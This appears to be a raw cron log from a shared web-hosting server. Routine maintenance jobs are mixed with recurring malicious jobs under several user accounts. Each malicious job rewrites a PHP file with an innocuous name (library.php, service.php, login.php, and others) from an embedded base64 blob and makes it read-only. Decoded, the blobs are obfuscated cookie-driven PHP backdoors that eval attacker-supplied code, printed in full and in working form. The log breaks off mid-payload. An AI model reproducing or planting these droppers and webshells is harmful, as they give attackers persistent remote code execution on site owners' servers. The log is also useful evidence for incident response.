Mar  2 07:08:01 medusa CROND[13257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:08:01 medusa CROND[13260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:08:01 medusa CROND[13261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:08:01 medusa CROND[13262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:08:01 medusa CROND[13265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:08:01 medusa CROND[13270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:08:01 medusa CROND[13276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:08:01 medusa CROND[13275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:08:01 medusa CROND[13280]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:09:01 medusa CROND[831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:09:02 medusa CROND[988]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:09:02 medusa CROND[1283]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:09:02 medusa CROND[1314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:09:02 medusa CROND[1315]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 07:09:02 medusa CROND[1321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:09:02 medusa CROND[1322]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:09:02 medusa CROND[1323]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:09:02 medusa CROND[1325]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:09:02 medusa CROND[1326]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:09:02 medusa CROND[1327]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:09:02 medusa CROND[1330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:09:02 medusa CROND[1332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:10:01 medusa CROND[18060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:10:01 medusa CROND[18065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:10:01 medusa CROND[18228]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:10:01 medusa CROND[18300]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:10:01 medusa CROND[18415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:10:01 medusa CROND[18419]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18418]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:10:01 medusa CROND[18420]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:10:01 medusa CROND[18421]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:10:01 medusa CROND[18425]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:10:01 medusa CROND[18428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3